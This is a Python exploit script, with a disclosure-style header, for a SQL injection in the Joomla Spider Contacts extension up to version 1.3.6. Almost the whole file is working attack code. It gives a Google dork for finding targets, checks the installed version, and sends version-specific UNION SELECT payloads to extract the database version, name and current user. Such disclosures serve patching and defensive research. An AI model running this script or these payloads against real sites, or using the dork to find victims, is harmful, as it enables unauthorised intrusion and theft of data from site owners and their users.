#!/usr/bin/env python
#
#
# Exploit Title : Joomla Spider Contacts <= 1.3.6 SQL Injection
#
# Exploit Author : Claudio Viviani
#
# Vendor Homepage : http://web-dorado.com/
#
# Software Link : http://web-dorado.com/?option=com_wdsubscriptions&view=dwnldfree&format=row&id=60 (fixed)
# Mirror Link : https://mega.co.nz/#!mJwlUahJ!fx7d1ZQszaD3-k66PjWQEBXQafJnEeRDEleN8jqbVOE (no fixed)
#
# Dork Google: inurl:option=com_spidercontacts
#
# Date : 2014-09-07
#
# Tested on : Windows 7 / Mozilla Firefox
# Linux / Mozilla Firefox
#
#
#
######################
#
# PoC Exploit:
#
# http://localhost/joomla/index.php?option=com_spidercontacts&contact_id=[SQLi]&view=showcontact&lang=ca
#
#
# "contacts_id" variables is not sanitized.
#
#
# Vulnerability Disclosure Timeline:
#
# 2014-09-07: Discovered vulnerability
# 2014-09-09: Vendor Notification
# 2014-09-10: Vendor Response/Feedback
# 2014-09-10: Vendor Fix/Patch
# 2014-09-10: Public Disclosure
import
codecs
import
httplib
import
re
import
sys
import
socket
import
optparse
banner
=
"""
$$$$$\ $$\ $$$$$$\ $$\ $$\
\__$$ | $$ | $$ __$$\ \__| $$ |
$$ | $$$$$$\ $$$$$$\ $$$$$$\$$$$\ $$ | $$$$$$\ $$ / \__| $$$$$$\ $$\ $$$$$$$ | $$$$$$\ $$$$$$\
$$ |$$ __$$\ $$ __$$\ $$ _$$ _$$\ $$ | \____$$\ \$$$$$$\ $$ __$$\ $$ |$$ __$$ |$$ __$$\ $$ __$$\
$$\ $$ |$$ / $$ |$$ / $$ |$$ / $$ / $$ |$$ | $$$$$$$ | \____$$\ $$ / $$ |$$ |$$ / $$ |$$$$$$$$ |$$ | \__|
$$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ |$$ __$$ | $$\ $$ |$$ | $$ |$$ |$$ | $$ |$$ ____|$$ |
\$$$$$$ |\$$$$$$ |\$$$$$$ |$$ | $$ | $$ |$$ |\$$$$$$$ | \$$$$$$ |$$$$$$$ |$$ |\$$$$$$$ |\$$$$$$$\ $$ |
\______/ \______/ \______/ \__| \__| \__|\__| \_______| \______/ $$ ____/ \__| \_______| \_______|\__|
$$ |
$$ |
\__|
$$$$$$\ $$\ $$\ $$\ $$$$$$\ $$$$$$\
$$ __$$\ $$ | $$ | $$$$ | $$ ___$$\ $$ __$$\
$$ / \__| $$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$$\ \_$$ | \_/ $$ | $$ / \__|
$$ | $$ __$$\ $$ __$$\\_$$ _| \____$$\ $$ _____|\_$$ _| $$ _____| $$ | $$$$$ / $$$$$$$\
$$ | $$ / $$ |$$ | $$ | $$ | $$$$$$$ |$$ / $$ | \$$$$$$\ $$ | \___$$\ $$ __$$\
$$ | $$\ $$ | $$ |$$ | $$ | $$ |$$\ $$ __$$ |$$ | $$ |$$\ \____$$\ $$ | $$\ $$ | $$ / $$ |
\$$$$$$ |\$$$$$$ |$$ | $$ | \$$$$ |\$$$$$$$ |\$$$$$$$\ \$$$$ |$$$$$$$ | $$$$$$\ $$\\$$$$$$ |$$\ $$$$$$ |
\______/ \______/ \__| \__| \____/ \_______| \_______| \____/ \_______/ \______|\__|\______/ \__|\______/
j00ml4 Spid3r C0nt4cts <= 1.3.6 SQLi
Written by:
Claudio Viviani
http://www.homelab.it
info@homelab.it
homelabit@protonmail.ch
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""
C0mm4nds
=
dict
()
C0mm4nds[
'DB VERS'
]
=
'VERSION'
C0mm4nds[
'DB NAME'
]
=
'DATABASE'
C0mm4nds[
'DB USER'
]
=
'CURRENT_USER'
def
def_payload(payl):
payl
=
payl
return
payl
def
com_com_spidercalendar():
com_spidercalendar
=
"index.php?option=com_spidercontacts&contact_id="
+
payload
+
"&view=showcontact&lang=ca"
return
com_spidercalendar
ver_spidercontacts
=
"administrator/components/com_spidercontacts/spidercontacts.xml"
vuln
=
0
def
cmdMySQL(cmd):
SqlInjList
=
[
# SQLi Spider Contacts 1.3.6
'1%20UNION%20ALL%20SELECT%20CONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'
+
cmd
+
'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23'
,
# SQLi Spider Contacts 1.3.5 - 1.3.4
'1%20UNION%20ALL%20SELECT%20CONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'
+
cmd
+
'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23'
,
# SQLi Spider Contacts 1.3.3
'1%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'
+
cmd
+
'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23'
,
# SQLi Spider Contacts 1.3
'1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'
+
cmd
+
'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23'
,
# SQLi Spider Contacts 1.2 - 1.1 - 1.0
'-9900%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'
+
cmd
+
'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23'
,
]
return
SqlInjList
def
checkProtocol(pr):
parsedHost
=
""
PORT
=
m_oOptions.port
if
pr[
0
:
8
]
=
=
"https://"
:
parsedHost
=
pr[
8
:]
if
parsedHost.endswith(
"/"
):
parsedHost
=
parsedHost.replace(
"/"
,"")
if
PORT
=
=
0
:
PORT
=
443
PROTO
=
httplib.HTTPSConnection(parsedHost, PORT)
elif
pr[
0
:
7
]
=
=
"http://"
:
parsedHost
=
pr[
7
:]
if
parsedHost.endswith(
"/"
):
parsedHost
=
parsedHost.replace(
"/"
,"")
if
PORT
=
=
0
:
PORT
=
80
PROTO
=
httplib.HTTPConnection(parsedHost, PORT)
else
:
parsedHost
=
pr
if
parsedHost.endswith(
"/"
):
parsedHost
=
parsedHost.replace(
"/"
,"")
if
PORT
=
=
0
:
PORT
=
80
PROTO
=
httplib.HTTPConnection(parsedHost, PORT)
return
PROTO, parsedHost
def
connection(addr, url_string):
parsedHost
=
checkProtocol(addr)[
1
]
PROTO
=
checkProtocol(addr)[
0
]
try
:
socket.gethostbyname(parsedHost)
except
socket.gaierror:
print
'Hostname could not be resolved. Exiting'
sys.exit()
connection_req
=
checkProtocol(addr)[
0
]
try
:
connection_req.request(
'GET'
, url_string)
except
socket.error:
print
(
'Connection Error'
)
sys.exit(
1
)
response
=
connection_req.getresponse()
reader
=
codecs.getreader(
"utf-8"
)(response)
return
{
'response'
:response,
'reader'
:reader}
if
__name__
=
=
'__main__'
:
m_oOpts
=
optparse.OptionParser(
"%prog -H http[s]://Host_or_IP [-b, --base base_dir] [-p, --port PORT]"
)
m_oOpts.add_option(
'--host'
,
'-H'
, action
=
'store'
,
type
=
'string'
,
help
=
'The address of the host running Spider Contacts extension(required)'
)
m_oOpts.add_option(
'--base'
,
'-b'
, action
=
'store'
,
type
=
'string'
, default
=
"/"
,
help
=
'base dir joomla installation, default "/")'
)
m_oOpts.add_option(
'--port'
,
'-p'
, action
=
'store'
,
type
=
'int'
, default
=
0
,
help
=
'The port on which the daemon is running (default 80)'
)
m_oOptions, remainder
=
m_oOpts.parse_args()
m_nHost
=
m_oOptions.host
m_nPort
=
m_oOptions.port
m_nBase
=
m_oOptions.base
if
not
m_nHost:
print
(banner)
print
m_oOpts.format_help()
sys.exit(
1
)
print
(banner)
if
m_nBase !
=
"/"
:
if
m_nBase[
0
]
=
=
"/"
:
m_nBase
=
m_nBase[
1
:]
if
m_nBase[
-
1
]
=
=
"/"
:
m_nBase
=
m_nBase[:
-
1
]
else
:
if
m_nBase[
-
1
]
=
=
"/"
:
m_nBase
=
m_nBase[:
-
1
]
m_nBase
=
'/'
+
m_nBase
+
'/'
payload
=
def_payload(
'1%27'
)
com_spidercalendar
=
com_com_spidercalendar()
# Start connection to host for Joomla Spider Contacts vulnerability
response
=
connection(m_nHost, m_nBase
+
com_spidercalendar).values()[
0
]
reader
=
connection(m_nHost, m_nBase
+
com_spidercalendar).values()[
1
]
# Read connection code number
getcode
=
response.status
print
(
"[+] Searching for Joomla Spider Contacts vulnerability..."
)
print
(
"[+]"
)
if
getcode !
=
404
:
for
lines
in
reader:
if
not
lines.find(
"spidercontacts_contacts.id"
)
=
=
-
1
:
print
(
"[!] Boolean SQL injection vulnerability FOUND!"
)
print
(
"[+]"
)
print
(
"[+] Detection version in progress...."
)
print
(
"[+]"
)
try
:
response
=
connection(m_nHost, m_nBase
+
ver_spidercontacts).values()[
0
]
reader
=
connection(m_nHost, m_nBase
+
ver_spidercontacts).values()[
1
]
getcode
=
response.status
if
getcode !
=
404
:
for
line_version
in
reader:
if
not
line_version.find(
""
)
=
=
-
1
:
VER
=
re.
compile
(
'>(.*?)<'
).search(line_version).group(
1
)
VER_REP
=
VER.replace(
"."
,"")
if
int
(VER_REP) >
136
or
int
(VER_REP[
0
])
=
=
2
:
print
(
"[X] VERSION: "
+
VER)
print
(
"[X] Joomla Spider Contacts => 1.3.7 are not vulnerables"
)
sys.exit(
1
)
elif
int
(VER_REP)
=
=
136
:
print
(
"[+] EXTENSION VERSION: "
+
VER)
print
(
"[+]"
)
for
cmddesc, cmdsqli
in
C0mm4nds.items():
try
:
paysql
=
cmdMySQL(cmdsqli)[
0
]
payload
=
def_payload(paysql)
com_spidercalendar
=
com_com_spidercalendar()
response
=
connection(m_nHost, m_nBase
+
com_spidercalendar).values()[
0
]
reader
=
connection(m_nHost, m_nBase
+
com_spidercalendar).values()[
1
]
getcode
=
response.status
if
getcode !
=
404
:
for
line_response
in
reader:
if
not
line_response.find(
"h0m3l4b1t"
)
=
=
-
1
:
MYSQL_VER
=
re.
compile
(
'h0m3l4b1t(.*?)t1b4l3m0h'
).search(line_response).group(
1
)
if
vuln
=
=
0
:
print
(
"[!] "
+
m_nHost
+
" VULNERABLE!!!"
)
print
(
"[+]"
)
print
(
"[!] "
+
cmddesc
+
" : "
+
MYSQL_VER)
vuln
=
1
break
except
socket.error:
print
(
'[X] Connection was lost please retry'
)
sys.exit(
1
)
elif
int
(VER_REP)
=
=
135
or
int
(VER_REP)
=
=
134
:
print
(
"[+] EXTENSION VERSION: "
+
VER)
print
(
"[+]"
)
for
cmddesc, cmdsqli
in
C0mm4nds.items():
try
:
paysql
=
cmdMySQL(cmdsqli)[
1
]
payload
=
def_payload(paysql)
com_spidercalendar
=
com_com_spidercalendar()
response
=
connection(m_nHost, m_nBase
+
com_spidercalendar).values()[
0
]
reader
=
connection(m_nHost, m_nBase
+
com_spidercalendar).values()[
1
]
getcode
=
response.status
if
getcode !
=
404
:
for
line_response
in
reader:
if
not
line_response.find(
"h0m3l4b1t"
)
=
=
-
1
:
MYSQL_VER
=
re.
compile
(
'h0m3l4b1t(.*?)t1b4l3m0h'
).search(line_response).group(
1
)
if
vuln
=
=
0
:
print
(
"[!] "
+
m_nHost
+
" VULNERABLE!!!"
)
print
(
"[+]"
)
print
(
"[!] "
+
cmddesc
+
" : "
+
MYSQL_VER)
vuln
=
1
break
except
socket.error:
print
(
'[X] Connection was lost please retry'
)
sys.exit(
1
)
elif
int
(VER_REP)
=
=
133
:
print
(
"[+] EXTENSION VERSION: "
+
VER)
print
(
"[+]"
)
for
cmddesc, cmdsqli
in
C0mm4nds.items():
try
:
paysql
=
cmdMySQL(cmdsqli)[
2
]
payload
=
def_payload(paysql)
com_spidercalendar
=
com_com_spidercalendar()
response
=
connection(m_nHost, m_nBase
+
com_spidercalendar).values()[
0
]
reader
=
connection(m_nHost, m_nBase
+
com_spidercalendar).values()[
1
]
getcode
=
response.status
if
getcode !
=
404
:
for
line_response
in
reader:
if
not
line_response.find(
"h0m3l4b1t"
)
=
=
-
1
:
MYSQL_VER
=
re.
compile
(
'h0m3l4b1t(.*?)t1b4l3m0h'
).search(line_response).group(
1
)
if
vuln
=
=
0
:
print
(
"[!] "
+
m_nHost
+
" VULNERABLE!!!"
)
print
(
"[+]"
)
print
(
"[!] "
+
cmddesc
+
" : "
+
MYSQL_VER)
vuln
=
1
break
except
socket.error:
print
(
'[X] Connection was lost please retry'
)
sys.exit(
1
)
elif
int
(VER_REP)
=
=
13
:
print
(
"[+] EXTENSION VERSION: "
+
VER)
print
(
"[+]"
)
for
cmddesc, cmdsqli
in
C0mm4nds.items():
try
:
paysql
=
cmdMySQL(cmdsqli)[
3
]
payload
=
def_payload(paysql)
com_spidercalendar
=
com_com_spidercalendar()
response
=
connection(m_nHost, m_nBase
+
com_spidercalendar).values()[
0
]
reader
=
connection(m_nHost, m_nBase
+
com_spidercalendar).values()[
1
]
getcode
=
response.status
if
getcode !
=
404
:
for
line_response
in
reader:
if
not
line_response.find(
"h0m3l4b1t"
)
=
=
-
1
:
MYSQL_VER
=
re.
compile
(
'h0m3l4b1t(.*?)t1b4l3m0h'
).search(line_response).group(
1
)
if
vuln
=
=
0
:
print
(
"[!] "
+
m_nHost
+
" VULNERABLE!!!"
)
print
(
"[+]"
)
print
(
"[!] "
+
cmddesc
+
" : "
+
MYSQL_VER)
vuln
=
1
break
except
socket.error:
print
(
'[X] Connection was lost please retry'
)
sys.exit(
1
)
elif
int
(VER_REP[:
2
])
=
=
10
or
int
(VER_REP[:
2
])
=
=
11
or
int
(VER_REP[:
2
])
=
=
12
:
print
(
"[+] EXTENSION VERSION: "
+
VER)
print
(
"[+]"
)
for
cmddesc, cmdsqli
in
C0mm4nds.items():
try
:
paysql
=
cmdMySQL(cmdsqli)[
4
]
payload
=
def_payload(paysql)
com_spidercalendar
=
com_com_spidercalendar()
response
=
connection(m_nHost, m_nBase
+
com_spidercalendar).values()[
0
]
reader
=
connection(m_nHost, m_nBase
+
com_spidercalendar).values()[
1
]
getcode
=
response.status
if
getcode !
=
404
:
for
line_response
in
reader:
if
not
line_response.find(
"h0m3l4b1t"
)
=
=
-
1
:
MYSQL_VER
=
re.
compile
(
'h0m3l4b1t(.*?)t1b4l3m0h'
).search(line_response).group(
1
)
if
vuln
=
=
0
:
print
(
"[!] "
+
m_nHost
+
" VULNERABLE!!!"
)
print
(
"[+]"
)
print
(
"[!] "
+
cmddesc
+
" : "
+
MYSQL_VER)
vuln
=
1
break
except
socket.error:
print
(
'[X] Connection was lost please retry'
)
sys.exit(
1
)
else
:
print
(
"[-] EXTENSION VERSION: Unknown :("
)
sys.exit(
0
)
if
int
(vuln)
=
=
0
:
# VERSION NOT VULNERABLE :(
print
(
"[X] Spider Contacts patched or SQLi blocked by Web Application Firewall"
)
sys.exit(
1
)
else
:
sys.exit(
0
)
except
socket.error:
print
(
'[X] Connection was lost please retry'
)
sys.exit(
1
)
# NO SQL BLIND DETECTED
print
(
"[X] Spider Contacts patched or SQLi blocked by Web Application Firewall"
)
sys.exit(
1
)
else
:
print
(
'[X] URL "'
+
m_nHost
+
m_nBase
+
com_spidercalendar
+
'" NOT FOUND'
)